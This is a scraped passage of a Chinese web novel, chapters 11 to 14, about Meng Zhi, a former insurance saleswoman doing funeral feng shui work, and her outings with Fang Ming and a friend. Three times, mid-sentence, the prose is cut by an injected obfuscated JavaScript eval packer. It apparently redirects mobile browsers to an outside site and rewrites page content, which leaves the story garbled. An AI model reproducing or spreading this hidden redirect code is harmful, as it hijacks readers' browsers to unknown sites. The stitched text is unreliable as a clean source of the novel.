“大爷选的这盒不是挺好吗。”孟至冷淡地插嘴道,“这东西选什么就是什么吧,没听说谁还换来换去的。” 白虎不悦地盯了孟至一眼,似乎觉得她是因为自己拿不到提成,才会如此仗义执言、惺惺作态。他把盒子塞进孟至手里,一拧身离去了,临走时还不满地看了她一眼。 孟至懒得理他,习惯性地甩了一下头发,尽管她的红发都牢牢地隐藏在帽子中。 终于,青龙迈着铿锵的步伐现身,招手叫上恍然大爷,要带他去领骨灰。他叫孟至先自行下班,今天的兼职到此为止。跟几人道别后,孟至沿着九曲长廊往外走,边走边摘下帽子和口罩。她回头看着火化炉的方向,一缕黑烟正飘出烟囱,不知那是否来自恍然大爷的母亲。 正想得出神时,身后一声突如其来的问话,令她的心微微一动。那个声音清凌凌地问道:“你怎么在这?” 转身一看,方铭就站在她眼前,穿着墨绿色短袖和黑色长裤,整个人像一块温润的墨色玉石。她的心再次摇动了一下,就像风中的风铃。他正歪着头看着孟至,似乎想要透过她光彩夺目的外表,看出她深藏在精神中的诸多秘密。 孟至哦了一声,理所当然地说:“我是做白事行业的风水师。”那语气就像在讲别人家的日常小事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419257|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方铭眨了两下眼睛,停顿了片刻,才说:“我是来前面那条街拿货的,记得佛香源吗?我替店主过来跑腿。” “嗨,早知道我帮你捎回去了。”孟至非常自来熟地一摆手。方铭低声说:“早也不知道你是做什么的呀。方才看到你和那天的人站在大门口,我差点以为他又要缠着你。” “原来你在旁边看着我?”孟至挑起一侧眉毛,“看见我什么了?” “看见你自我介绍,你说你叫百五。”方铭微笑着说,“你这个法号姓什么?” “你很关心我啊。”孟至笑眯眯地看着他,“还有呢?” “还看见你带他们进了停尸房,说是要给什么开光。”方铭凝视着她的脸,眼皮上折出了一条深刻的痕迹,“原来你是做法事的?很少有女孩做这个。” “不帅气吗?”孟至戴上墨镜,向他虚挥了一下手,“可不止法事呢,我们是丧葬一条龙,服务范围包括临终关怀和身后料理。我的级别是小时工,都入职一周了。” 方铭还在定定地看着孟至。不等他回答,两个身穿墓园制服的年轻女孩从旁边大步经过,带起一阵充满朝气的风,暂时地划破了这片阴沉的背景。她们中的一个大声说:“哎,下午你记得提醒我去领那个材料!”另一个朗声大笑,回答道:“再忘,领导就气成隔壁吴老二了……” 她们欢声笑语地走了过去,留下孟至和方铭面面相觑。方铭说:“这里的工作人员应该都接受过培训,早就不怕鬼魂了,他们认为人死以后就被分解,不复存在了。” 孟至抱起手臂,一本正经地说:“要是每个人都这么想,我们白事行业的服务范围就要削减了。” 他煞有介事地问:“姐姐,你真的才入行一周吗?” 孟至则反过来夸赞道:“你拆家具也拆得挺好哇,一点都不像临时工。” “小时工对临时工,彼此彼此。”方铭伸出右手,悬停在半空中。孟至低头笑了,和他握了握手。那只温暖的大手不轻不重地包围了孟至的手,她感觉到一层薄薄的茧子贴着她的皮肤,触感十分坚硬。 “你今天开车了吧?走,我请你吃饭。”孟至抽回右手,顺势拍了拍小方的肩膀,“你今天又打了几份工?” 他垂着睫毛说:“没几份,和你吃饭的话,我肯定有空。” 那辆小货车就停在不远处。两人钻进车厢,方铭一脚油门,带着孟至离开了这片尘土飞扬的鬼魅地方。车子开上大路时,方铭温和地问:“咱们去哪儿?” 孟至英姿勃勃地指挥道:“先去部落格奶茶店。前面路口右拐,然后一直往前开,然后怎么走我忘了……总之你想办法开到冰激凌胡同,然后我带你走过去。” 方铭的嘴角无声地上扬起来。按照孟至的指示,他单手打着右转的方向盘,另一只胳膊架在敞开的窗户上。货车离开湿冷的墓园,开进了温泉一样的阳光中。 12. 你很神秘 货车被停进居民楼的空闲车位。此时距离午饭时间尚早,孟至和小方一人一杯奶茶,坐在胡同的台阶上晒太阳。 孟至手捧着自己那杯浅紫色香芋奶茶,伸头去看方铭那杯浅绿色的:“哈密瓜味的是什么样的?好喝吗?”言下之意,显然是想叫方铭给她尝尝。 方铭二话不说,插上吸管,递到孟至面前:“你先喝,我再喝。” 孟至一手拢着颈边的酒红色长发,微微向前探去,似乎要近距离观察那杯饮料的色彩和质地,又似乎是要就着方铭的手直接喝一口。方铭的指关节开始无意识地发力,使得关节表面的皮肤都发白和紧绷,塑料杯也被他捏进去一个坑。 接着,孟至停顿在半路,微微一笑,抽出自己那杯的吸管,啪地一下插进他的杯子里。一层薄薄的塑封膜上,两根吸管不远不近地站着,好像在彼此对望。没有了手的约束,她的长发向前散落,蜷曲着披在肩头。 孟至凑到吸管边喝了两口,抬起头看着方铭,一脸大彻大悟的表情:“比真的哈密瓜还有瓜味儿。” 这次她没有得到回应。方铭的眼睛像瞄准镜一样锁定了她,带着无声无息的侵略气息。如果人的眼神是一种如水般的介质,孟至应该已经淹死在他双眼释放出的幽光里了。 孟至若无其事地低下头,抽回了自己的吸管,将其重新扎入香芋味奶茶中。 淡绿色奶茶缓缓移开了。方铭单手拎着奶茶杯口,手肘支在曲起的膝盖上,久久没有说话。等他再开口时,似乎带着淡淡的笑意:“姐姐,你趴在杯盖上喝奶茶还挺可爱的,像小熊或者小鹿在岸边喝水。” “小熊好呀,我喜欢熊,”孟至挑起一侧眉毛,歪着头问道,“像什么熊?”她猜他不会知道布朗熊或帕丁顿熊这类卡通形象,应该只会说是毛茸茸的小棕熊。 方铭说:“我还能知道啥熊,就熊大熊二那种呗……” 气得孟至一拳把他打飞。他像沙袋一样沉沉地歪到一边,垂着眼睛笑了起来。完全铺展开的微笑就像春天时融化的雪水,在他的脸上荡漾和蔓延着。很快,他仰起的脸变成了日光下的冰水湖泊,泛着波光粼粼的银辉。 孟至甩着自己的手,还在暗自回味着方才拳头捶到他手臂上的触感,那截大臂结实而富有弹性。 一时间,两人谁也不和谁说话。又喝了半杯奶茶之后,孟至开口说:“想不到能在老家认识你哎。” “为什么不能在老家认识我哎?”方铭坐直了身体,两人的距离再度拉近。 “因为老家没有我认识的年轻人了。”孟至一手托着腮帮,指着墙上的橘色瓢虫,“看那个花大姐。” 方铭嗯了一声:“看见了。” 孟至告诉他,她总觉得东三省就坐落在这只瓢虫的背上。瓢虫慢慢地向前爬行,风轻日暖,它背上驮着的生活平静而悠闲。但瓢虫的爬速却异常缓慢,虫背上的人完全感觉不到自己在前进。 “你觉得这里节奏太慢了,平时也没有什么好玩的?”方铭转头看着她,“恩,也对,年轻人嘛,都喜欢舞剧,话剧,livehouse……” 孟至笑嘻嘻地说:“好像你有多老似的。” 方铭轻声说:“我自己搬出来住以后,很久没回我爸妈家了。可是有一次我回那边去办事,发现那条街二十年都没有变化。房子都是原样,一家一家店铺还在开着,铁轨边的棚户区还住着人,人行道的地砖也还是不平……” “至少说明那些店铺还行呀,这么多年过去了,它们都还活着呢。”孟至无奈地笑了一下。她看着缓慢移动的瓢虫,就像看见了这片暮气沉沉的土地。 她站起身来,居高临下地说:“走吧,咱们去吃东西。”方铭也随之起立。沿着绿树成荫的街道,两人慢慢走向附近的商区。 方铭忽然问道:“你会一直留在这里吗?” 孟至游手好闲地走着,像个梦游的混子路过这里,实际她的心里微微一惊。她发现方铭看透了她变幻莫测的内心,直接点出了一个尖锐的问题。她会一直留在老家吗?这种放逐会坚持多久? 她会在风水师这份兼职结束后,找到正确的职业方向吗?在这片暮气沉沉的土地上,没有南方的温暖和热闹,没有年轻人喜欢的文化艺术活动,她像迷路的人在大雾里游荡,始终没有找到一处让她为之停留的光芒。 见孟至始终不回答,方铭的眼神迅速暗淡下来。他似乎明白了,见过灯红酒绿的人不会再喜欢小镇。 他目视前方,从喉咙里嘀咕了一句:“总觉得你很神秘,我看不清你。” “怎么会呢?”孟至反剪双手,晃晃悠悠地走着,“我多诚实的一个人啊,你看,你问我什么我就答什么,就连我是风水师这事都不瞒你。” “就像一池水很清澈,”方铭沉闷地说,“但因为清澈,所以很难参透水到底多深。” “哎我天,”孟至无比欣赏地看着他,“你是文科生吧?我就写不出来这么有哲理的比喻,你说得太好了。” 方铭勉为其难地抿嘴一笑,孟至又想起他也许初中毕业就念了技校,或许没有经历过高中文理分科。 多年来的察言观色本领,让孟至感觉到周围的气压在无声无息地下降。方铭情绪低落,尽管她不敢断言这是为什么。为了把他重新逗笑,她在一栋楼前站定了。 墙面上用蓝色油漆写了几行字,孟至声情并茂地朗诵起来。 天惶惶,地惶惶, 我家有个夜哭郎。 过路君子念三遍, 一觉睡到大天亮。 哼地一声,方铭终于低低地笑了出来。孟至说:“我念了一遍,剩下两遍你来。” “不来。”方铭一本正经地摇了摇头,“我自己都要成夜哭郎了,还给别人念?” “多大人了,还哭。”孟至半真半假地说,“快别哭了小方。这样吧,我们来玩游戏,你问我答。” 他深深地看了一眼孟至。远远地,一片喧嚣而凌乱的商业街出现在视野尽头。这片位于老城区市中心的地段,还保留着本世纪初的风貌,既有连绵的小吃摊位,又有卖袜子手套的推车。 两人把脚步放得更慢了。马路上车流如织,步道上的人互相碰撞。方铭把孟至揽到另一侧,自己替她抵挡着飞驰而过的电动车。 “问吧!”孟至豪爽地一挥手,“想知道什么?” 方铭乖巧地问:“做你们风水师这行的,有没有灵异事件?” “有呀。”孟至严肃地说,“我听说,有户人家供了一张菩萨像,这家的孩子看那画上的菩萨,怎么总觉得她没有眼睛?但他没敢说出来。结果后来你猜怎么?这家的老奶奶失明了。” 肉眼可见地,小方浑身打了个摆子,不声不响地朝孟至贴过来。孟至大笑起来。 方铭敢怒不敢言地看了她一眼,闷声说:“这个好吓人。” “还想知道什么?” “你的那些老家具,是哪里来的?”方铭犹豫了一下,还是问了下去,“又为什么要扔掉?是原本有什么纪念意义吗?” “是呀,原本是男朋友送的,后来吵架了,就扔了。”孟至说完,还像青龙师兄那样闭眼点了点头,表示懂的都懂。 方铭不吭声了。他的头垂了下来,每根眼睫毛都悬挂着忧愁,就像冬天时房檐上垂下来的冰柱。他停住了脚步,几乎要转身拔足狂奔而去,又似乎想问问孟至为什么有男朋友还要和他出来喝奶茶。 孟至背着手,休闲地站着,突然转头对他嘻嘻一笑:“逗你的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419258|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我妈有囤物癖,把老家具放在我的公寓里。” 她似乎听见一声轻轻的呼气,原来刚才方铭一直在闭气。他无奈地看了一眼孟至,说:“难怪你要偷着扔。” “对,不能明着扔,”孟至点头赞成,“我妈会疯。” 他笑了起来,这次竟露出了上排的牙齿。 走到商区中心之前,他问了最后一个问题:“你以前做寿险销售一定很厉害吧?” “那当然。”孟至毫不谦虚地说,“我是我们团队里最年轻的,但业绩不比任何人差。” “那为什么不继续在老家做这个呢?”方铭试探地看着她,“因为要重新积累客户?” “对,这是最主要的原因。一想到要重头再来,像犯人出狱重新做人一样,我觉得好累啊。”孟至哎了一声,“还有呢,在老家,丛林法则第一条是人情。人情这张网,铺天盖地。在老家卖保险,靠的是亲情营销和熟人营销。” 方铭笑了:“杀熟。” “也可以这么说,一开始肯定只能抓着亲戚朋友推销。所以东三省虽然经济总量不大,保险深度却能在全国排前五。”孟至苦恼地一撩头发,把红发向身后甩去,“但我不想用人情绑架人家。我希望我能把合适的保险卖给需要的人,希望每个投保人跟产品匹配。” 方铭默不作声地看着她,竟像迷弟在观看女团。孟至继续说:“其实我本科是学数学的,那时候我想做精算师的。我想设计一款普度众生的保险!” “……” “每个投保人都缴纳适当的保费,得到适当的保障,恰好完美地弥补他的缺口,达到他生活的最优平衡!” “……” “但是等我进保险公司实习,才发现不是你想设计什么就设计什么。”孟至笑着回看了他一眼,“产品样式就那么多,合同条款大同小异。市面上各家都是互相抄抄而已。” 方铭温和地回答道:“你的设想真的很好,只是保司都要以盈利为目的,在现有的产品上翻新才是最稳妥的。” “你说得对!”孟至悠悠地举起大拇指,接着说道,“所以我最后还是做了销售,我心想,如果不设计产品,那我就为客户设计一个最适合的保险方案,我好好卖产品!”说着,她双手一拍,把方铭吓了一跳。 “如果你在老家卖保险的话……”方铭小心翼翼地说,“我是说,如果你想继续的话,你可以把目标锁定在想要保证生活质量的群体上,比如体制内的中层。还可以锁定那些想做财产分离的群体,比如经商的人。” “没错。后者就是高净值客户,是我以前专攻的对象。”孟至随手打了个响指,“比如有人想给子女留遗产,又希望避税,就会以自己为被保险人,买一份高额寿险,指定子女为受益人。又比如有人想为子女安排婚前财产分割,就会为孩子买一份增额终身寿,或年金险。孩子是被保险人,也是受益人,将来即使结婚了,保单也不属于共同财产,离婚不会被分走钱的。” 说起自己的专业,她的眼里熠熠生辉,仿佛又回到珠三角的职场上。这些天以来,纸钱的灰烬似乎落满了孟至的全身,现在她抖擞精神,焕然一新。 她恳切地总结道:“所以呀,各家保司都在比谁的产品利率更高,其实很多有钱人根本不看那仨瓜俩枣,图的是财产规划。” 在妙不可言的轻盈和愉悦中,孟至突然想到,刚才方铭猜测得句句在理。她拍了拍他的肩膀,懒洋洋地笑了:“你很懂呀,小方。” 他眨了几下眼睛,无辜地盯着前方的小吃一条街:“咱们去吃烤串吧!” “走吧。”孟至牵着他的袖子,把他引向那条小巷子,“这回我不神秘了吧?” 他却微微抿起嘴说:“可我觉得你更神秘了。” 13. 夜晚街边野餐 眼前这片商区是C市久负盛名的青年聚集地,毗邻艺术学院,既村野且小资,其混合型气质独一无二。 这里没有一座现代化的商场,站在主干道上,只能看见两侧的老旧写字楼。唯一一条显眼的胡同是小吃一条街,烧烤摊的白烟互相融合,颇具集聚效应。只有拐进小路,深入每一片居民楼,那些酒吧、舞厅、买手店、咖啡屋和文创店才会逐一现身,就像一群游走在暗处的朋克乐队成员。 孟至率领方铭走进小吃一条街,就立刻被各式各样的诱惑冲昏了头脑。鳞次栉比的小吃门店像一整个版面的彩色报纸,混乱而五光十色。这些门店不仅占据了这条条绵延的小街道,还以此街为主体向四周蔓延,如同扩散开来的叶脉。 此时正有许多年轻人站在街边,对着垃圾桶吃肉串、章鱼小丸子、狼牙土豆、土耳其烤肉卷饼……孟至容光焕发地跑上前去,差点忘记了方铭。 方铭如影随形地跟在她身后,低头在她耳边说道:“姐姐,这里人好多啊,人群密集恐惧症都犯了。” 孟至放慢了脚步,伸手轻轻勾住他的袖子。在一片车声和吆喝声中,她踮起脚对他说:“就从这家开始!”她的手指向离他们最近的一家鲷鱼烧小店。 很快,方铭的手里提满了大包小裹。孟至一只手拿着一块蜂蜜蛋糕,另一只手拿着一颗冰糖葫芦,在他前面无牵无挂地走着。伴随着气势十足的步伐,酒红色长发在她身后跳跃和摇动。 小吃一条街的主线已经走完,孟至扔掉手里的垫纸和竹签,回头凑到方铭身边,伸手去接那些手提袋:“我来拎我来拎,你吃点儿嘛。” 方铭却摇头说:“你别沾手了,我来吧。” 孟至没再坚持,转而拈起竹签,从纸袋里叉出一个丸子,递到方铭嘴边。他愣了一下,一时间不敢轻举妄动。孟至大大方方地说:“我喂你。” 他的嘴唇微微动了一下,却没有张开。孟至发现他的嘴上仿佛镀着一层雾蒙蒙的粉色晚霞,如同毛茸感的水蜜桃,正中央的唇珠柔韧而纯真。见孟至看着自己的嘴,他又开始不停地眨眼。 孟至作势要收回丸子:“你不吃呀?那我吃了——” 方铭用一根手指阻拦了她即将撤回的手,俯下身来,一口吞入丸子。几乎没看见他是怎么嚼的,丸子被咽了下去,喉结上下起伏。他紧紧盯着孟至的脸,沉沉地说:“再来一个。” “好嘞。”孟至挺着竹签,深入纸袋重围之中,这次悄悄扎起一块麻辣味炸鸡,又去另一个袋子里沾了几层芥末,不动声色地送到方铭嘴边。她的脸上带着殷勤的笑容,像唱迷魂曲一样对他说:“这个好吃,你快吃。”浓郁的芥末气味,已经随风飘散到孟至的鼻尖上。 想不到方铭又一口吞了下去,面不改色,只是这次吞咽动作缓慢而艰难。孟至顿时不知所措,举着竹签,呆呆地站在原地,心想他可能被毒哑了。她小心翼翼地问:“不辣吗?” 方铭用略带沙哑的嗓音说:“辣。”看着孟至那副闯祸后的心虚表情,他别过头去,微微笑了一下,出声提醒道:“姐姐,不给我喝水吗?” 孟至这才醒悟过来,急忙从另一个手提袋里找出一瓶冰镇桦树汁,插好吸管,举到他面前。他就着孟至的手喝了几口,孟至讨好地问:“好喝吧?不辣了吧?” 他恩了一声,目光重新汇聚在她的脸上,如同两束灯光追随着星辰。他歪着头说:“我喜欢甜的。” 然而,孟至觉得他说的并不是桦树汁。不知不觉,她捏紧了竹签,轻轻避开他的目光,含糊地说:“甜的?” 他有意无意地靠近一步,又重复了一遍:“恩,我喜欢甜的。” 不等他再说什么,孟至转身就跑,带头奔向下一条街:“去那边看看,那边好像有柴犬咖啡店。” 在她身后,方铭慢悠悠地说:“我知道那家店怎么走。”孟至刹住脚步,任由他在前方开路,自己亦步亦趋地跟着,十分本分。在小方的带领下,他们穿越潮水般的人群,高抬腿跨过一道土坡,迈大步爬上荒芜的花坛,最后又回到人行道上。 孟至忍不住说:“哎,小方,你要是以后带女孩约会可别这么抄近道。”方才要不是她身手矫健,可能已经要手脚并用爬着走了。 方铭若无其事地说:“可这是最直接的路线啊。” 看起来,他觉得自己做得好极了。孟至刚想嘲笑他,忽然被他轻轻拉住了。方铭看着脚下,低声说:“猫。” 一只巴掌大的幼年狸猫躺在地上,身上沾满了污泥,几乎和地面融为一体。它已经死去,在它周围,几道混乱的车辙痕迹拖过地面,经过了它的身上,在猫的皮毛上留下烙印,又毫不在意地继续向前延伸而去。 孟至停住脚步,心脏一瞬间悬停了一下。大概是在墓园里看惯了整容后的遗体,当她近距离面对惨死于电动车轮下的猫尸,她突然感到恐惧。她伸手勾着方铭的袖子,两人悄无声息地上前半步,蹲在地上看着血肉模糊的猫身。 方铭手里垫着几张纸巾和塑料布,将狸猫转移到空纸袋中。孟至不想触碰死去的生物,她知道那种冰冷的触感令人胆寒。他们找了很久,终于找到一片有树有湖的场地,于是用几根竹签挖了地洞,将狸猫葬在林中。方铭在猫冢上插了三根竹签,孟至默不作声地蹲在他旁边,久久抱着膝盖。 “想什么呢?”他看着坟头,轻声问道,“是不是害怕了?” “还行,我本来也是风水师。”孟至也看着坟头,两人谁也没有看谁。过了一会儿,孟至说:“我只是在想,如果是人被撞了,过路人看了一定会受震撼,会围上来急救,会觉得同情。现在是猫被撞死,为什么人类就不会受太大震撼呢?” 方铭依然没有看她,但是声音里带有一丝笑意:“人类也会受震撼啊,比如你啊。” 孟至继续说道:“我的意思是,为什么过路人没有共情它呢?是不是人真的比动物金贵?” 方铭回答道:“人也会共情它啊,比如你啊。” 两人蹲得双腿发麻,终于离开猫冢,沿着湖堤慢慢兜圈。夏季秋初,冷风四起,柳树的枝条不停地飘向湖水,就像无数双手在诡异而柔曼地触摸湖面。那种无规则的律动令孟至着迷,她沉浸地看着,下意识地向方铭靠拢过来。两人的肩头偶尔轻微地触碰,再立即分开。 孟至忽然说:“人可真是奇怪啊。你说,为什么我能共情一只不认识的猫,但是不能共情自己的妈妈?” 方铭敏感地观察着她的脸色,缓慢地问道:“你妈妈,她怎么了?” “她和我姥姥关系不好。我姥姥姥爷没有尽到责任,她小时候就像个野孩子。”孟至抱起手臂,尽量用最少的句子阐述这些陈年积怨,“我妈每次说起这个就怨气冲天,我明明应该同情她呀?可我怎么从来不想着她的不容易,我每次都烦得很,会找机会逃跑。” 方铭轻声笑了。太阳沉入楼房之后,一阵大风猛烈地吹来,孟至缩得更紧了。方铭默默脱下长袖衬衫递给她,自己只穿着内搭的短袖T恤。孟至接过来披在身上,哆嗦着说:“我们轮流穿吧,一会儿还给你。” “逃跑才是正常的吧。”方铭突然开始回答她的问题,“每个人自己走路就已经很沉重了,怎么还能再背一个别人的包袱呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419259|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?即使是母女俩,也没法替对方去活。” 孟至恩了一声。也许是这件带着体温的衬衣让她血液回暖,她突然觉得心里的重负减轻了一些,就像一间堆满沙石的仓库突然被清出了一块空地。她忍不住向方铭说出更多鸡零狗碎的往事:“你知道吗,2018年的时候,我去替我妈跑腿办事,结果办砸了。她觉得我得罪了人,大骂了我一顿,我好几年都没缓过来。” “这样很伤自尊心吧。”方铭就像能跟人共感,准确地说出了刺痛的来源。那次大吵之后,孟至有一两年都没怎么回家。他又问:“那时候你才多大?她有没有事先教你,去了怎么说话,怎么做事?” “那是一点没教啊。”孟至苦着脸说,“那时候我才上大一呢,我懂什么呀。我自以为办得很好,结果回来被大骂一顿,哎——” 在孟至的长吁短叹里,方铭突然若有所思地看着她。接着,他的嘴角不宜察觉地上扬起来,好像终于摸清了探询已久的秘密。 孟至总结道:“所以我现在总是懒洋洋的,见势不妙就躲,我才懒得跟她吵呢。” 方铭真诚地说:“你可能是缺乏维生素d,才会乏力,姐姐。”最后两个字喊得很轻,就像薄纱般的耳语。 “……”孟至以一句升华式的结尾,作为这次讨论的终点,“长大的好处,就是有能力照顾自己,可以独自生活。” 他却好像对孟至的过去很感兴趣,竟然不想结束这对话:“那你怎么还回家来了?还是说……你之后会再离开这里?” 谈话又绕回了那天的问题,孟至仍然没有答案。她无奈地说:“我也不知道。我总觉得自己没有陪伴父母,现在他们年纪大了,身体越来越差了。但是真的回到他们身边,又会让我不太开心。” “父母啊。”方铭垂着头,轻轻踢着路上的石块。他仿佛在自言自语:“父母年轻时候为家庭操劳,养育孩子,很辛苦。到老了又没有陪伴。” 这几句话没头没脑,既像是在回答孟至,又好像没有切题。孟至觉得他是在勉强地敷衍作答,但这又并非他的本意。她抬头看向方铭,发现他心不在焉,脸上浮现出一层低落的神色。 出于一个优秀销售顾问的觉悟,孟至猜测他此刻内心正感忧郁。但她不知道自己说错了什么,她复盘着方才的对话,突然内心一个激灵。方铭会不会已经没有父母,所以被触动了伤心往事? 接着,她又想起方铭曾说他有一次回父母家办事,还说他拥有一缸父亲手酿的人参酒。悬着的心又放下了,孟至觉得自己太过敏感,也许一切都风调雨顺,他只是开始犯困或不耐烦了而已。她这才意识到,整个晚上,湖边的对话都一直围绕着她而展开。在她做销售时,她与客户的对话永远围绕着客户展开,她必须小心地保持着交谈的方向,避免让自己占据太多篇幅。 而在方铭面前,她似乎总是被摆放到主角的位置。 正在孟至胡思乱想时,忽然听见方铭在问:“你吃蛋糕吗?” 孟至想也没想,脱口而出:“吃。”然后她抬起头来,发现两人不知不觉走出了公园,走到了一条不起眼的街道。路边是一家蛋糕店的橱窗,奶油的甜香一浪一浪地传来。方铭微微一笑,从敞开的窗口里买了几种小蛋糕。 还没来得及抢单,方铭已经付了款,把淡黄色的纸袋递到孟至面前。孟至不好意思去接,她觉得自己刚才答得太快,好像在讹人家蛋糕。方铭却说:“带回去当早餐吧,今晚谢谢你请我吃饭。” 孟至接了过来,对他抿嘴哼哼一笑。在告别之前,方铭清淡地说:“开心点。小小年纪,别老心事那么重。” 14. 相约工人浴池 和水冰月相约见面这天,久违的朝气重新回到孟至的身上。两人约在外文书店门口集合,孟至到达这条街时,阳光十分强烈,仿佛青春卷土重来,她们是两个大学女生,要在下课后一起结伴买书。 水冰月比孟至到得更早,她的手里拎着两杯奶茶,一杯是冰镇半糖的,一杯是温热无糖的。孟至笑了,她从肩头的大号托特包里拿出两杯奶茶,那组合跟水冰月手里的一模一样,只不过一杯是冰镇无糖的,另一杯是温热半糖的。 两人张开手提袋,互相在对方的袋子里摸索和查看着,一时间就像两个抖抖索索的老太太在交换刚买的菜。水冰月爽快地说:“这下可够喝了,咱们买重了。” 孟至说:“正好我们买齐了所有的排列组合。”于是她们各自挑选自己喜欢的搭配,每人两杯,喜气洋洋地吸了起来。就像妖精吸食了人气一般,一旦吸入奶茶,她们的脸色就大放光明。水冰月挑选的奶茶品牌相当有质感,孟至突然想到下次可以请小方喝这家。 走进书店,两侧书架上摆着外文典籍,书皮上印着各国的字母。阴凉的气息在少有人来的书店中弥漫着。水冰月一边左右开弓地吸着,一边压低声音问孟至:“你现在是做什么工作的,今天不上班呀?”但周围并没有多少顾客,只有泛着冷光的硬壳书在旁听她们的对话。 “我以前是寿险销售,现在回老家没事做,你猜我当上什么了?”孟至用自己的肩膀轻轻撞了一下她的肩膀,“我去帮人家白事先生打下手了。” “哎呀,那你属于体格壮的,可能是八字比较硬。”水冰月对她刮目相看,“我是开牙科诊所的,完了呢,我还得偶尔兼顾一下我奶奶留下来的小店。不过今天我同事他们都在店里,不用我过去了。” “你可太厉害了,一个人管了两家店。”孟至抬起下巴,上身后仰,十分崇敬地瞻仰着她,“你会给人修牙?你手真巧!” 水冰月说:“我觉得你也厉害,要是我卖保险的话,可能一单都卖不出去。我卖给谁去呀?”孟至根本没好意思说,现在回到老家,失去了关系网格,她也不知道卖给谁去。双方都无比佩服地看着彼此,觉得自己结交了能人。 孟至又问:“那你这两家店离得远不远?这两家店一个叫舒克,一个叫贝塔?” 水冰月舒贝像逗小孩一样对孟至说:“远啊!你家小区就在两个店之间,干脆我去你们小区买房子吧?” “那可太好了,你今天就来我家里看看,感受一下。”孟至双手搂住舒贝的胳膊,那架势好像要立刻带她回家。她一会儿说:“你来我家里听听邻居吵架声大不大。”一会儿又说:“你来我家里洗个澡,试试水压。” “……” 走出书店,临近晚饭时间,胡同里的小吃摊位开始躁动。有一家的大喇叭里播放着七言诗句:“铁板鱿鱼香味飘,馋得孩子直蹦高。”不远处,另一家的喇叭一遍遍地宣告着保证:“随便吃,随便尝,咋尝不带急眼的。” 孟至买了两串鱿鱼,水冰月就立刻买了两份驴打滚。两人轮流付款,不停地把美食让到对方面前,又不停地买入更多,一个劲劝对方带回去吃。最后她们走出了美食走廊,胡同重归寂静,不配套的老式住宅楼分列于道路两侧,偶尔混入一处带有大铁门的厂房,或九十年代的单位办公楼。 “工人浴池。”水冰月用竹签指点着一座废弃的小院,就像一个女巫用魔杖施法,可惜院门的锁链并没有打开。 “工人浴池。”孟至重复了一遍,透过铁栅栏观望着贴满白色瓷砖的小楼,四个褪色的字挂在门板上方。她忽然感到惆怅,于是向水冰月诉说自己的感慨:“父母年轻时候可能就在这些浴池里洗澡呢。” 水冰月说:“那可不。”她的脸一时之间充满怅然的神色,似乎在遐想父母青春时代的面貌,尽管那画面都来自静态老照片,并非是他们熟知的。她问孟至:“你这次回老家,就是为了照顾父母呀?以后还走吗?” 面对这似曾相识的提问,孟至依旧不知所措。她想到自己其实回来以后并没有每天去见父母,但她又发现越是回来得久了,就越是无法再次离开。她不想再体验漂泊和担忧的感觉了。她告诉水冰月:“我从18岁开始就不在家了,我爸做手术那年我都不知道,还是回家才听说的。我出去太久了。” 水冰月却说:“不过呢,这种事其实怎么选都会遗憾。你要是年轻时从没出去过,说不定到老了也会后悔——都没去外面挥洒一下青春啊。” 两人漫无目的,一路游荡。孟至已经开始感到遗憾,虽然这令她不齿,但她真切地怀念着在南方的黄金岁月,那是她的青春时代,那么轻盈而热闹,自由又潇洒,就像晴空中飞舞的彩带。她诚实地说:“其实我都不知道自己回来能做什么。我这人很害怕无聊。” “那你还去殡仪馆干活?那里边的人可都不会说话啊。”水冰月笑嘻嘻地看了她一眼,突然正经地说,“你要知道你的人生使命呀,你来这个世界上,有什么事是你想做,一定要做的?” 孟至毫不犹豫地说:“普度众生。” “……” 告别水冰月以后,孟至搭乘45路有轨电车回家。这是全市仅存的一条有轨电车线路,铁轨经过西郊林荫路,也经过老城区商业街。白底红条的车厢看起来精神抖擞,车辆低速运行,车顶的电线在横索上拖动。 即使不算顺道,孟至也总是绕远路乘坐这趟车。她喜欢坐在摇晃的电车里,看着窗外那游乐园一般的街景,每逢此时她总是想起一句歌词:沿路旅程如歌褪变。现在她看着窗外时,才觉得自己的旅程真正在蜕变,而电车却似乎百年不变,永远被铁轨牢牢地固定着动线。有一瞬间,她羡慕这种永恒。 回到家里,孟至想起出门前她摁下了洗衣机的开关,这时一锅衣物已经洗完。她打开舱门,一件一件取出已经烘干的衣服,挂到新添置的木制落地衣架上。挂到某一件时,她忽然发现这不是自己的衣服。 因为常年染着深红色头发,孟至的衣服以枪灰色和黑色为主。刘校长曾送给孟至几件浅红和粉红的旧衣服,款式老气横秋,她认为红发就适合这种配色。孟至穿上以后就像一挂鞭炮,所以她一次都没有穿过,直接捐给了流浪狗基地。 